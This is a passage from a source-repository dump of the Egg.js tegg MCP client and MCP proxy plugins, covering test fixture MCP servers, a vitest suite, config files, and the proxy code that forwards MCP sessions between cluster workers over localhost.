URL(`http://127.0.0.1:${port}${req.url!}`);\n    const headerKey = `${req.method}${url.pathname}`;\n    const serverCode = req.headers['x-mcp-server-code'] as string;\n    headers[serverCode] = headers[serverCode] || {};\n    headers[serverCode][headerKey] = headers[serverCode][headerKey] || [];\n    headers[serverCode][headerKey].push(req.headers);\n    if (req.method === 'GET') {\n      const transport = new SSEServerTransport('/mcp', res);\n      transports[transport.sessionId] = transport;\n      // Connect the transport to the MCP server\n      await server.connect(transport);\n    } else if (req.method === 'POST') {\n      const sessionId = url.searchParams.get('sessionId');\n      const transport = transports[sessionId!] as SSEServerTransport;\n      await transport.handlePostMessage(req, res);\n      res.statusCode = 201;\n      res.end();\n    }\n  });\n  return new Promise<void>((resolve) => {\n    httpServer.listen(port, resolve);\n  });\n}\n\nexport async function stopSSEServer() {\n  server.close();\n}\n"
  },
  {
    "path": "tegg/plugin/mcp-client/test/fixtures/streamable-mcp-server/http.ts",
    "content": "import http from 'node:http';\n\nimport { McpServer } from '@modelcontextprotocol/sdk/server/mcp.js';\nimport { z } from 'zod';\n\n// Create an MCP server\nconst server = new McpServer({\n  name: 'Demo',\n  version: '1.0.0',\n});\n\n// Add an addition tool\nserver.registerTool(\n  'add',\n  {\n    inputSchema: { a: z.number(), b: z.number() },\n  },\n  async ({ a, b }) => ({\n    content: [{ type: 'text', text: String(a + b) }],\n  }),\n);\n\n// Add a dynamic greeting resource\nserver.registerResource('greeting', 'greeting://{name}', {}, async (uri) => ({\n  contents: [\n    {\n      uri: uri.href,\n      text: `Hello, ${uri.hostname}!`,\n    },\n  ],\n}));\n\nexport const headers: Record<string, any> = {};\n\nexport let httpServer: http.Server;\nexport async function startStreamableServer(port = 17243) {\n  const httpServer = http.createServer(async (req, res) => {\n    const { StreamableHTTPServerTransport } = await import('@modelcontextprotocol/sdk/server/streamableHttp.js');\n    const url = new URL(`http://127.0.0.1:${port}${req.url!}`);\n    const headerKey = `${req.method}${url.pathname}`;\n    const serverCode = req.headers['x-mcp-server-code'] as string;\n    headers[serverCode] = headers[serverCode] || {};\n    headers[serverCode][headerKey] = headers[serverCode][headerKey] || [];\n    headers[serverCode][headerKey].push(req.headers);\n    if (req.method === 'POST') {\n      try {\n        const transport = new StreamableHTTPServerTransport({\n          sessionIdGenerator: undefined,\n        });\n        await server.connect(transport);\n        await transport.handleRequest(req, res);\n        res.on('close', () => {\n          console.log('Request closed');\n          transport.close();\n          server.close();\n        });\n      } catch (error) {\n        console.error('Error handling MCP request:', error);\n        if (!res.headersSent) {\n          res.statusCode = 500;\n          res.setHeader('Content-Type', 'application/json');\n          res.end(\n            JSON.stringify({\n              jsonrpc: '2.0',\n              error: {\n                code: -32603,\n                message: 'Internal server error',\n              },\n              id: null,\n            }),\n          );\n        }\n      }\n    } else {\n      res.statusCode = 405;\n      res.setHeader('Content-Type', 'application/json');\n      res.end(\n        JSON.stringify({\n          jsonrpc: '2.0',\n          error: {\n            code: -32601,\n            message: 'Method not found',\n          },\n          id: null,\n        }),\n      );\n    }\n  });\n  return new Promise<void>((resolve) => {\n    httpServer.listen(port, resolve);\n  });\n}\n\nexport async function stopStreamableServer() {\n  server.close();\n}\n"
  },
  {
    "path": "tegg/plugin/mcp-client/test/mcpclient.test.ts",
    "content": "import assert from 'assert';\nimport { createRequire } from 'module';\nimport path from 'path';\n\nimport mm from '@eggjs/mock';\nimport { describe, it, beforeAll, afterAll, afterEach } from 'vitest';\n\nconst require = createRequire(import.meta.url);\n\ndescribe('plugin/mcp-client/test/mcpclient.test.ts', () => {\n  let startSSEServer: any;\n  let stopSSEServer: any;\n  let startStreamableServer: any;\n  let stopStreamableServer: any;\n  let app: any;\n\n  beforeAll(async () => {\n    const sseFixturePath = './fixtures/sse-mcp-server/http.ts';\n    const sseMod = await import(sseFixturePath);\n    startSSEServer = sseMod.startSSEServer;\n    stopSSEServer = sseMod.stopSSEServer;\n    const streamFixturePath = './fixtures/streamable-mcp-server/http.ts';\n    const streamMod = await import(streamFixturePath);\n    startStreamableServer = streamMod.startStreamableServer;\n    stopStreamableServer = streamMod.stopStreamableServer;\n\n    await startStreamableServer(17263);\n    await startSSEServer(17253);\n  });\n\n  afterAll(async () => {\n    await app.close();\n    await stopSSEServer();\n    await stopStreamableServer();\n  });\n\n  afterEach(() => {\n    mm.restore();\n  });\n\n  beforeAll(async () => {\n    mm(process.env, 'EGG_TYPESCRIPT', true);\n    mm(process, 'cwd', () => {\n      return path.join(__dirname, '..');\n    });\n    app = mm.app({\n      baseDir: path.join(__dirname, 'fixtures/apps/mcpclient'),\n      framework: path.dirname(require.resolve('egg/package.json')),\n    });\n    await app.ready();\n  });\n\n  afterAll(() => {\n    return app.close();\n  });\n\n  it('should sse work', async () => {\n    const res = await app.httpRequest().get('/mcpclient/hello-sse').expect(200);\n    assert.deepStrictEqual(res.body, {\n      tools: [\n        {\n          execution: {\n            taskSupport: 'forbidden',\n          },\n          name: 'add',\n          inputSchema: {\n            $schema: 'http://json-schema.org/draft-07/schema#',\n            additionalProperties: false,\n            type: 'object',\n            properties: {\n              a: {\n                type: 'number',\n              },\n              b: {\n                type: 'number',\n              },\n            },\n            required: ['a', 'b'],\n          },\n        },\n      ],\n    });\n  });\n\n  it('should streamable work', async () => {\n    const res = await app.httpRequest().get('/mcpclient/hello-streamable').expect(200);\n    assert.deepStrictEqual(res.body, {\n      tools: [\n        {\n          name: 'add',\n          execution: {\n            taskSupport: 'forbidden',\n          },\n          inputSchema: {\n            $schema: 'http://json-schema.org/draft-07/schema#',\n            additionalProperties: false,\n            type: 'object',\n            properties: {\n              a: {\n                type: 'number',\n              },\n              b: {\n                type: 'number',\n              },\n            },\n            required: ['a', 'b'],\n          },\n        },\n      ],\n    });\n  });\n\n  it('should factory work', async () => {\n    const res = await app.httpRequest().get('/mcpclient/hello-factory').expect(200);\n    assert.deepStrictEqual(res.body, {\n      tools: [\n        {\n          name: 'add',\n          execution: {\n            taskSupport: 'forbidden',\n          },\n          inputSchema: {\n            $schema: 'http://json-schema.org/draft-07/schema#',\n            additionalProperties: false,\n            type: 'object',\n            properties: {\n              a: {\n                type: 'number',\n              },\n              b: {\n                type: 'number',\n              },\n            },\n            required: ['a', 'b'],\n          },\n        },\n      ],\n    });\n  });\n\n  it('should langchain tools work', async () => {\n    const res = await app.httpRequest().get('/mcpclient/hello-langchain-tools').expect(200);\n    assert.deepStrictEqual(res.body, {\n      length: 1,\n      tools: [\n        {\n          name: 'add',\n          description: '',\n          schema: {\n            additionalProperties: false,\n            type: 'object',\n            properties: {\n              a: {\n                type: 'number',\n              },\n              b: {\n                type: 'number',\n              },\n            },\n            required: ['a', 'b'],\n          },\n        },\n      ],\n    });\n  });\n});\n"
  },
  {
    "path": "tegg/plugin/mcp-client/tsconfig.json",
    "content": "{\n  \"extends\": \"../../../tsconfig.json\",\n  \"exclude\": [\"test/fixtures/**/*.ts\"]\n}\n"
  },
  {
    "path": "tegg/plugin/mcp-client/tsdown.config.ts",
    "content": "import { defineConfig, type UserConfig } from 'tsdown';\n\nconst config: UserConfig = defineConfig({\n  unused: {\n    level: 'error',\n    ignore: ['@eggjs/tegg-plugin', 'egg'],\n  },\n});\nexport default config;\n"
  },
  {
    "path": "tegg/plugin/mcp-proxy/package.json",
    "content": "{\n  \"name\": \"@eggjs/mcp-proxy-plugin\",\n  \"version\": \"4.0.2-beta.5\",\n  \"description\": \"tegg mcp proxy plugin\",\n  \"keywords\": [\n    \"egg\",\n    \"mcp\",\n    \"plugin\",\n    \"tegg\",\n    \"typescript\"\n  ],\n  \"homepage\": \"https://github.com/eggjs/egg/tree/next/tegg/plugin/mcp-proxy\",\n  \"bugs\": {\n    \"url\": \"https://github.com/eggjs/egg/issues\"\n  },\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/eggjs/egg.git\",\n    \"directory\": \"tegg/plugin/mcp-proxy\"\n  },\n  \"files\": [\n    \"dist\"\n  ],\n  \"type\": \"module\",\n  \"main\": \"./dist/index.js\",\n  \"module\": \"./dist/index.js\",\n  \"types\": \"./dist/index.d.ts\",\n  \"exports\": {\n    \".\": \"./src/index.ts\",\n    \"./agent\": \"./src/agent.ts\",\n    \"./app\": \"./src/app.ts\",\n    \"./app/extend/agent\": \"./src/app/extend/agent.ts\",\n    \"./app/extend/application\": \"./src/app/extend/application.ts\",\n    \"./config/config.default\": \"./src/config/config.default.ts\",\n    \"./lib/MCPProxyDataClient\": \"./src/lib/MCPProxyDataClient.ts\",\n    \"./package.json\": \"./package.json\"\n  },\n  \"publishConfig\": {\n    \"access\": \"public\",\n    \"exports\": {\n      \".\": \"./dist/index.js\",\n      \"./agent\": \"./dist/agent.js\",\n      \"./app\": \"./dist/app.js\",\n      \"./app/extend/agent\": \"./dist/app/extend/agent.js\",\n      \"./app/extend/application\": \"./dist/app/extend/application.js\",\n      \"./config/config.default\": \"./dist/config/config.default.js\",\n      \"./lib/MCPProxyDataClient\": \"./dist/lib/MCPProxyDataClient.js\",\n      \"./package.json\": \"./package.json\"\n    }\n  },\n  \"scripts\": {\n    \"typecheck\": \"tsgo --noEmit\"\n  },\n  \"dependencies\": {\n    \"@eggjs/controller-plugin\": \"workspace:*\",\n    \"@eggjs/tegg-types\": \"workspace:*\",\n    \"@modelcontextprotocol/sdk\": \"^1.23.0\",\n    \"await-event\": \"catalog:\",\n    \"cluster-client\": \"^3.7.0\",\n    \"content-type\": \"^1.0.5\",\n    \"eventsource-parser\": \"^3.0.1\",\n    \"koa-compose\": \"catalog:\",\n    \"raw-body\": \"^2.5.2\",\n    \"sdk-base\": \"catalog:\"\n  },\n  \"devDependencies\": {\n    \"@eggjs/aop-runtime\": \"workspace:*\",\n    \"@eggjs/metadata\": \"workspace:*\",\n    \"@eggjs/mock\": \"workspace:*\",\n    \"@eggjs/tegg\": \"workspace:*\",\n    \"@eggjs/tegg-config\": \"workspace:*\",\n    \"@eggjs/tegg-plugin\": \"workspace:*\",\n    \"@types/node\": \"catalog:\",\n    \"egg\": \"workspace:*\",\n    \"eventsource\": \"^3.0.5\",\n    \"typescript\": \"catalog:\"\n  },\n  \"peerDependencies\": {\n    \"@eggjs/tegg-plugin\": \"workspace:*\",\n    \"egg\": \"workspace:*\"\n  },\n  \"engines\": {\n    \"node\": \">=22.18.0\"\n  },\n  \"eggModule\": {\n    \"name\": \"mcpProxy\"\n  },\n  \"eggPlugin\": {\n    \"name\": \"mcpProxy\",\n    \"dependencies\": [\n      \"tegg\"\n    ]\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/mcp-proxy/src/agent.ts",
    "content": "import type { Application } from 'egg';\n\nexport default class AppHook {\n  private readonly agent: Application;\n\n  constructor(agent: Application) {\n    this.agent = agent;\n  }\n\n  async didLoad(): Promise<void> {\n    if ((this.agent as any).mcpProxy) {\n      await ((this.agent as any).mcpProxy as any)?.ready();\n    }\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/mcp-proxy/src/app/extend/agent.ts",
    "content": "import type { Application } from 'egg';\n\nimport { MCPProxyApiClient } from '../../index.ts';\n\nconst MCP_PROXY = Symbol('Application#mcpProxy');\n\nexport default {\n  get mcpProxy(): any {\n    const self = this as any;\n    if (!self[MCP_PROXY]) {\n      self[MCP_PROXY] = new MCPProxyApiClient({\n        logger: (this as unknown as Application).logger,\n        messenger: (this as unknown as Application).messenger,\n        app: this as unknown as Application,\n        isAgent: true,\n      });\n    }\n    return self[MCP_PROXY];\n  },\n};\n"
  },
  {
    "path": "tegg/plugin/mcp-proxy/src/app/extend/application.ts",
    "content": "import type { Application } from 'egg';\n\nimport { MCPProxyApiClient } from '../../index.ts';\nconst MCP_PROXY = Symbol('Application#mcpProxy');\n\nexport default {\n  get mcpProxy(): any {\n    const self = this as any;\n    if (!self[MCP_PROXY]) {\n      self[MCP_PROXY] = new MCPProxyApiClient({\n        logger: (this as unknown as Application).logger,\n        messenger: (this as unknown as Application).messenger,\n        app: this as unknown as Application,\n      });\n    }\n    return self[MCP_PROXY];\n  },\n};\n"
  },
  {
    "path": "tegg/plugin/mcp-proxy/src/app.ts",
    "content": "import { MCPControllerRegister } from '@eggjs/controller-plugin/lib/impl/mcp/MCPControllerRegister';\nimport type { Application } from 'egg';\n\nimport { MCPProxyHook } from './index.ts';\n\nexport default class AppHook {\n  private readonly agent: Application;\n\n  constructor(agent: Application) {\n    this.agent = agent;\n  }\n\n  configWillLoad(): void {\n    MCPControllerRegister.addHook(MCPProxyHook);\n  }\n\n  async didLoad(): Promise<void> {\n    if ((this.agent as any).mcpProxy) {\n      await ((this.agent as any).mcpProxy as any)?.ready();\n    }\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/mcp-proxy/src/config/config.default.ts",
    "content": "export default (): { mcp: { proxyPort: number } } => {\n  const config = {\n    mcp: {\n      proxyPort: 17031,\n    },\n  };\n\n  return config;\n};\n"
  },
  {
    "path": "tegg/plugin/mcp-proxy/src/index.ts",
    "content": "import http from 'http';\nimport cluster from 'node:cluster';\nimport querystring from 'node:querystring';\nimport { Readable } from 'node:stream';\nimport url from 'node:url';\n\nimport { MCPControllerRegister } from '@eggjs/controller-plugin/lib/impl/mcp/MCPControllerRegister';\nimport type { MCPControllerHook } from '@eggjs/controller-plugin/lib/impl/mcp/MCPControllerRegister';\nimport { MCPProtocols } from '@eggjs/tegg-types';\nimport { SSEServerTransport } from '@modelcontextprotocol/sdk/server/sse.js';\nimport { StreamableHTTPServerTransport } from '@modelcontextprotocol/sdk/server/streamableHttp.js';\n// @ts-expect-error await-event is not typed\nimport awaitEvent from 'await-event';\n// @ts-expect-error cluster-client is not typed\nimport { APIClientBase } from 'cluster-client';\n// @ts-expect-error content-type is not typed\nimport contentType from 'content-type';\nimport type { Application, Context } from 'egg';\nimport type { EggLogger } from 'egg';\nimport { EventSourceParserStream } from 'eventsource-parser/stream';\n// @ts-expect-error koa-compose is not typed\nimport compose from 'koa-compose';\nimport getRawBody from 'raw-body';\n\nimport { MCPProxyDataClient } from './lib/MCPProxyDataClient.ts';\n\nconst MAXIMUM_MESSAGE_SIZE = '4mb';\n\nexport interface MCPProxyPayload {\n  sessionId: string;\n  message: unknown;\n}\n\ntype ProxyAction = 'MCP_STDIO_PROXY' | 'MCP_SEE_PROXY' | 'MCP_STREAM_PROXY';\n\nexport interface ProxyMessageOptions {\n  detail: ClientDetail;\n  sessionId: string;\n  type: MCPProtocols;\n}\n\nexport interface ClientDetail {\n  pid: number;\n  port: number;\n}\n\nconst IGNORE_HEADERS = [\n  'connection',\n  'upgrade',\n  'keep-alive',\n  'proxy-connection',\n  'te',\n  'trailer',\n  'transfer-encoding',\n];\n\nexport const MCPProxyHook: MCPControllerHook = {\n  async preSSEInitHandle(ctx, transport, self) {\n    const id = transport.sessionId;\n    // cluster proxy\n    await (self.app as any).mcpProxy.registerClient(id, process.pid);\n    (self.app as any).mcpProxy.setProxyHandler(MCPProtocols.SSE, async (req: any, res: any) => {\n      const sessionId = querystring.parse(url.parse(req.url!).query ?? '').sessionId as string;\n      const ctx = self.app.createContext(req, res) as unknown as Context;\n      if (MCPControllerRegister.hooks.length > 0) {\n        for (const hook of MCPControllerRegister.hooks) {\n          await hook.preProxy?.(ctx, req, res);\n        }\n      }\n      let transport: SSEServerTransport;\n      const existingTransport = self.transports[sessionId];\n      if (existingTransport instanceof SSEServerTransport) {\n        transport = existingTransport;\n      } else {\n        // https://modelcontextprotocol.io/docs/concepts/architecture#error-handling\n        res.writeHead(400).end(\n          JSON.stringify({\n            jsonrpc: '2.0',\n            error: {\n              code: -32000,\n              message: 'Bad Request: Session exists but uses a different transport protocol',\n            },\n            id: null,\n          }),\n        );\n        return;\n      }\n      if (transport) {\n        try {\n          await self.transports[sessionId].handlePostMessage(req, res);\n        } catch (error) {\n          self.app.logger.error('Error handling MCP message', error);\n          if (!ctx.res.headersSent) {\n            ctx.status = 500;\n            ctx.body = {\n              jsonrpc: '2.0',\n              error: {\n                code: -32603,\n                message: `Internal error: ${(error as Error).message}`,\n              },\n              id: null,\n            };\n          }\n        }\n      } else {\n        res.writeHead(404).end(\n          JSON.stringify({\n            jsonrpc: '2.0',\n            error: {\n              code: -32602,\n              message: 'Bad Request: No transport found for sessionId',\n            },\n            id: null,\n          }),\n        );\n      }\n    });\n    ctx.res.once('close', () => {\n      delete self.transports[id];\n      const connection = self.sseConnections.get(id);\n      if (connection) {\n        clearInterval(connection.intervalId);\n        self.sseConnections.delete(id);\n      }\n      (self.app as any).mcpProxy.unregisterClient(id);\n    });\n  },\n  async onStreamSessionInitialized(_ctx, transport, server, self) {\n    const sessionId = transport.sessionId!;\n    self.streamTransports[sessionId] = transport;\n    self.mcpServerMap[sessionId] = server;\n    (self.app as any).mcpProxy.setProxyHandler(\n      MCPProtocols.STREAM,\n      async (req: http.IncomingMessage, res: http.ServerResponse) => {\n        let mw = (self.app.middleware as any).teggCtxLifecycleMiddleware();\n        if (self.globalMiddlewares) {\n          mw = compose([mw, self.globalMiddlewares]);\n        }\n        const ctx = self.app.createContext(req, res) as unknown as Context;\n        if (MCPControllerRegister.hooks.length > 0) {\n          for (const hook of MCPControllerRegister.hooks) {\n            await hook.preProxy?.(ctx, req, res);\n          }\n        }\n        const sessionId = req.headers['mcp-session-id'] as string | undefined;\n        if (!sessionId) {\n          res.writeHead(500, { 'content-type': 'application/json' });\n          res.end(\n            JSON.stringify({\n              jsonrpc: '2.0',\n              error: {\n                code: -32603,\n                message: 'session id not have and run in proxy',\n              },\n              id: null,\n            }),\n          );\n        } else {\n          let transport: StreamableHTTPServerTransport;\n          const existingTransport = self.streamTransports[sessionId];\n          if (existingTransport instanceof StreamableHTTPServerTransport) {\n            transport = existingTransport;\n          } else {\n            res.writeHead(400, { 'content-type': 'application/json' });\n            res.end(\n              JSON.stringify({\n                jsonrpc: '2.0',\n                error: {\n                  code: -32000,\n                  message: 'Bad Request: Session exists but uses a different transport protocol',\n                },\n                id: null,\n              }),\n            );\n            return;\n          }\n          if (transport) {\n            await self.app.ctxStorage.run(ctx, async () => {\n              await mw(ctx, async () => {\n                await transport.handleRequest(ctx.req, ctx.res);\n                await awaitEvent(ctx.res, 'close');\n              });\n            });\n          } else {\n            res.writeHead(400, { 'content-type': 'application/json' });\n            res.end(\n              JSON.stringify({\n                jsonrpc: '2.0',\n                error: {\n                  code: -32602,\n                  message: 'Bad Request: No transport found for sessionId',\n                },\n                id: null,\n              }),\n            );\n          }\n        }\n      },\n    );\n    await (self.app as any).mcpProxy.registerClient(sessionId, process.pid);\n    transport.onclose = async () => {\n      const sid = transport.sessionId;\n      if (sid && self.streamTransports[sid]) {\n        delete self.streamTransports[sid];\n        delete self.mcpServerMap[sid];\n      }\n      await (self.app as any).mcpProxy.unregisterClient(sid!);\n    };\n  },\n  async checkAndRunProxy(ctx, type, sessionId) {\n    const detail = await (ctx.app as any).mcpProxy.getClient(sessionId);\n    if (detail?.pid !== process.pid) {\n      await (ctx.app as any).mcpProxy.proxyMessage(ctx, {\n        detail: detail!,\n        sessionId,\n        type,\n      });\n      return true;\n    }\n    return false;\n  },\n};\n\nexport class MCPProxyApiClient extends APIClientBase {\n  private _client: any;\n  private logger: EggLogger;\n  private proxyHandlerMap: { [P in ProxyAction]?: StreamableHTTPServerTransport['handleRequest'] } = {};\n  private port: number;\n  private app: Application;\n  private isAgent: boolean;\n\n  constructor(options: { logger: EggLogger; messenger: any; app: Application; isAgent?: boolean }) {\n    super(Object.assign({}, options, { initMethod: '_init' }));\n    this.logger = options.logger;\n    this.port = 0;\n    this.app = options.app;\n    this.isAgent = !!options.isAgent;\n  }\n\n  async _init(): Promise<void> {\n    if (!this.isAgent) {\n      const validProxyActions = new Set<string>(['MCP_STDIO_PROXY', 'MCP_SEE_PROXY', 'MCP_STREAM_PROXY']);\n      const server = http.createServer(async (req, res) => {\n        const type = req.headers['mcp-proxy-type'] as string;\n        if (!type || !validProxyActions.has(type)) {\n          res.writeHead(400, { 'content-type': 'application/json' });\n          res.end(\n            JSON.stringify({\n              jsonrpc: '2.0',\n              error: { code: -32600, message: 'Invalid proxy type' },\n              id: null,\n            }),\n          );\n          return;\n        }\n        await this.proxyHandlerMap[type as ProxyAction]?.(req, res);\n      });\n      this.port = this.app.config.mcp?.proxyPort + (cluster.worker?.id ?? 0);\n      await new Promise((resolve) =>\n        server.listen(this.port, () => {\n          // const address = server.address()! as AddressInfo;\n          // this.port = address.port;\n          resolve(null);\n        }),\n      );\n    }\n  }\n\n  setProxyHandler(\n    type: MCPProtocols,\n    handler: StreamableHTTPServerTransport['handleRequest'] | SSEServerTransport['handlePostMessage'],\n  ): void {\n    let action: ProxyAction;\n    switch (type) {\n      case MCPProtocols.SSE:\n        action = 'MCP_SEE_PROXY';\n        break;\n      case MCPProtocols.STDIO:\n        action = 'MCP_STDIO_PROXY';\n        break;\n      default:\n        action = 'MCP_STREAM_PROXY';\n        break;\n    }\n    this.proxyHandlerMap[action] = handler;\n  }\n\n  async registerClient(sessionId: string, pid: number): Promise<void> {\n    await this._client.registerClient(sessionId, {\n      pid,\n      port: this.port,\n    });\n  }\n\n  async unregisterClient(sessionId: string): Promise<void> {\n    await this._client.unregisterClient(sessionId);\n  }\n\n  async getClient(sessionId: string): Promise<ClientDetail | undefined> {\n    return this._client.getClient(sessionId);\n  }\n\n  async proxyMessage(ctx: Context, options: ProxyMessageOptions): Promise<void> {\n    let body: string | unknown;\n    const { detail, sessionId, type } = options;\n    try {\n      let encoding = 'utf-8';\n      if (ctx.req.headers['content-type']) {\n        const ct = contentType.parse(ctx.req.headers['content-type'] ?? '');\n        if (ct.type !== 'application/json') {\n          throw new Error(`Unsupported content-type: ${ct}`);\n        }\n        encoding = ct.parameters.charset;\n      }\n\n      // ctx.respond = false;\n\n      body = await getRawBody(ctx.req, {\n        limit: MAXIMUM_MESSAGE_SIZE,\n        encoding,\n      });\n    } catch (error) {\n      this.logger.error(error);\n      ctx.res.writeHead(400).end(\n        JSON.stringify({\n          jsonrpc: '2.0',\n          error: {\n            code: -32602,\n            message: `Bad Request: ${String(error)}`,\n          },\n          id: null,\n        }),\n      );\n      return;\n    }\n\n    try {\n      // const socketPath = `${this.app.baseDir}/mcpServer${pid}.sock`;\n      let action: ProxyAction;\n      switch (type) {\n        case 'SSE': {\n          action = 'MCP_SEE_PROXY';\n          ctx.req.headers['mcp-proxy-type'] = action;\n          ctx.req.headers['mcp-proxy-sessionid'] = sessionId;\n          const resp = await fetch(`http://localhost:${detail.port}/mcp/message?sessionId=${sessionId}`, {\n            // dispatcher: new Agent({\n            //   connect: {\n            //     socketPath,\n            //   },\n            // }),\n            headers: ctx.req.headers as unknown as Record<string, string>,\n            body: body as string,\n            method: ctx.req.method,\n          });\n          const headers: Record<string, string> = {\n            'mcp-proxy-arg': encodeURIComponent((body as Buffer).toString()),\n          };\n          for (const [key, value] of resp.headers.entries()) {\n            if (IGNORE_HEADERS.includes(key)) {\n              continue;\n            }\n            headers[key] = value;\n          }\n          ctx.set(headers);\n          ctx.res.statusCode = resp.status;\n          ctx.res.statusMessage = resp.statusText;\n          const resData = await resp.text();\n          ctx.body = resData;\n          break;\n        }\n        case 'STDIO':\n          action = 'MCP_STDIO_PROXY';\n          ctx.req.headers['mcp-proxy-type'] = action;\n          ctx.req.headers['mcp-proxy-sessionid'] = sessionId;\n          ctx.res.writeHead(400).end(\n            JSON.stringify({\n              jsonrpc: '2.0',\n              error: {\n                code: -32602,\n                message: 'Bad Request: STDIO IS NOT IMPL',\n              },\n              id: null,\n            }),\n          );\n          break;\n        default: {\n          action = 'MCP_STREAM_PROXY';\n          ctx.respond = false;\n          ctx.req.headers['mcp-proxy-type'] = action;\n          ctx.req.headers['mcp-proxy-sessionid'] = sessionId;\n          const response = await fetch(`http://localhost:${detail.port}`, {\n            // dispatcher: new Agent({\n            //   connect: {\n            //     socketPath,\n            //   },\n            // }),\n            headers: ctx.req.headers as unknown as Record<string, string>,\n            method: ctx.req.method,\n            ...(ctx.req.method !== 'GET'\n              ? {\n                  body: body as string,\n                }\n              : {}),\n          });\n          const headers: Record<string, string> = {\n            'mcp-proxy-arg': encodeURIComponent((body as Buffer).toString()),\n          };\n          for (const [key, value] of response.headers.entries()) {\n            if (IGNORE_HEADERS.includes(key)) {\n              continue;\n            }\n            headers[key] = value;\n          }\n          ctx.set(headers);\n          ctx.res.statusCode = response.status;\n          Readable.fromWeb(response.body! as any).pipe(ctx.res);\n          break;\n        }\n      }\n    } catch (error) {\n      this.logger.error(error);\n      ctx.res.writeHead(500, { 'content-type': 'application/json' }).end(\n        JSON.stringify({\n          jsonrpc: '2.0',\n          error: {\n            code: -32603,\n            message: 'Internal error',\n          },\n          id: null,\n        }),\n      );\n      return;\n    }\n  }\n\n  handleSseStream(ctx: Context, stream: ReadableStream<any>): void {\n    const processStream = async () => {\n      try {\n        const reader = stream\n          // eslint-disable-next-line @typescript-eslint/ban-ts-comment\n          // @ts-ignore\n          .pipeThrough(new TextDecoderStream())\n          // eslint-disable-next-line @typescript-eslint/ban-ts-comment\n          // @ts-ignore\n          .pipeThrough(new EventSourceParserStream())\n          .getReader();\n\n        // eslint-disable-next-line no-constant-condition\n        while (true) {\n          const { value: event, done } = await reader.read();\n          if (done) {\n            break;\n          }\n\n          let eventData = 'event: message\\n';\n\n          if (event!.id) {\n            eventData += `id: ${event!.id}\\n`;\n          }\n          eventData += `data: ${JSON.stringify(event!.data)}\\n\\n`;\n\n          ctx.res.write(eventData);\n        }\n        ctx.res.write('event: terminate');\n      } catch (error) {\n        ctx.res.statusCode = 500;\n        ctx.res.write(`see stream error ${error}`);\n        ctx.res.end();\n      }\n    };\n    processStream();\n  }\n\n  get delegates(): Record<string, string> {\n    return {\n      registerClient: 'invoke',\n      unregisterClient: 'invoke',\n      getClient: 'invoke',\n    };\n  }\n\n  get DataClient(): typeof MCPProxyDataClient {\n    return MCPProxyDataClient;\n  }\n\n  get clusterOptions(): { name: string } {\n    return {\n      name: 'MCPProxy',\n    };\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/mcp-proxy/src/lib/MCPProxyDataClient.ts",
    "content": "import type { EggLogger } from 'egg';\nimport { Base } from 'sdk-base';\n\nexport class MCPProxyDataClient extends Base {\n  private readonly clients: Map<string, number>;\n  private readonly logger: EggLogger;\n  constructor(options: { logger: EggLogger }) {\n    const superOptions = Object.assign(\n      {},\n      {\n        initMethod: '_init',\n      },\n    );\n    super(superOptions);\n    this.clients = new Map();\n    this.logger = options.logger;\n  }\n\n  // eslint-disable-next-line @typescript-eslint/no-empty-function\n  async _init(): Promise<void> {}\n\n  async registerClient(sessionId: string, pid: number): Promise<void> {\n    if (this.clients.has(sessionId)) {\n      const oldPid = this.clients.get(sessionId)!;\n      this.logger.info('[MCPClientManager] duplicate register client %s new pid %s old pid', sessionId, pid, oldPid);\n      this.clients.set(sessionId, pid);\n    } else {\n      this.logger.info('[MCPClientManager] register client %s pid %s', sessionId, pid);\n      this.clients.set(sessionId, pid);\n    }\n  }\n\n  async getClient(sessionId: string): Promise<number | undefined> {\n    return this.clients.get(sessionId);\n  }\n\n  async unregisterClient(sessionId: string): Promise<void> {\n    this.clients.delete(sessionId);\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/mcp-proxy/test/fixtures/apps/mcp-proxy/app/controller/app.ts",
    "content": "import { randomUUID } from 'node:crypto';\nimport querystring from 'querystring';\nimport url from 'url';\n\nimport { MCPProtocols } from '@eggjs/tegg-types';\nimport { McpServer } from '@modelcontextprotocol/sdk/server/mcp.js';\nimport { SSEServerTransport } from '@modelcontextprotocol/sdk/server/sse.js';\nimport { StreamableHTTPServerTransport, EventStore } from '@modelcontextprotocol/sdk/server/streamableHttp.js';\nimport { isInitializeRequest, JSONRPCMessage } from '@modelcontextprotocol/sdk/types.js';\nimport contentType from 'content-type';\nimport { Controller } from 'egg';\nimport getRawBody from 'raw-body';\nimport * as z from 'zod/v4';\n\nconst mcpServer = new McpServer(\n  {\n    name: 'tegg-mcp-demo-server',\n    version: '1.0.0',\n  },\n  { capabilities: { logging: {} } },\n);\n\n// Register a simple tool that sends notifications over time\nmcpServer.tool(\n  'start-notification-stream',\n  'Starts sending periodic notifications for testing resumability',\n  {\n    interval: z.number().describe('Interval in milliseconds between notifications').default(100),\n    count: z.number().describe('Number of notifications to send (0 for 100)').default(50),\n  },\n  async ({ interval, count }, { sendNotification }) => {\n    const sleep = (ms: number) => new Promise((resolve) => setTimeout(resolve, ms));\n    let counter = 0;\n\n    while (count === 0 || counter < count) {\n      counter++;\n      try {\n        await sendNotification({\n          method: 'notifications/message',\n          params: {\n            level: 'info',\n            data: `Periodic notification #${counter}`,\n          },\n        });\n      } catch (error) {\n        console.error('Error sending notification:', error);\n      }\n      await sleep(interval);\n    }\n\n    return {\n      content: [\n        {\n          type: 'text',\n          text: `Started sending periodic notifications every ${interval}ms`,\n        },\n      ],\n    };\n  },\n);\n\nexport class InMemoryEventStore implements EventStore {\n  private events: Map<string, { streamId: string; message: JSONRPCMessage }> = new Map();\n\n  /**\n   * Generates a unique event ID for a given stream ID\n   */\n  private generateEventId(streamId: string): string {\n    return `${streamId}_${Date.now()}_${Math.random().toString(36).substring(2, 10)}`;\n  }\n\n  /**\n   * Extracts the stream ID from an event ID\n   */\n  private getStreamIdFromEventId(eventId: string): string {\n    const parts = eventId.split('_');\n    return parts.length > 0 ? parts[0] : '';\n  }\n\n  /**\n   * Stores an event with a generated event ID\n   * Implements EventStore.storeEvent\n   */\n  async storeEvent(streamId: string, message: JSONRPCMessage): Promise<string> {\n    const eventId = this.generateEventId(streamId);\n    this.events.set(eventId, { streamId, message });\n    return eventId;\n  }\n\n  /**\n   * Replays events that occurred after a specific event ID\n   * Implements 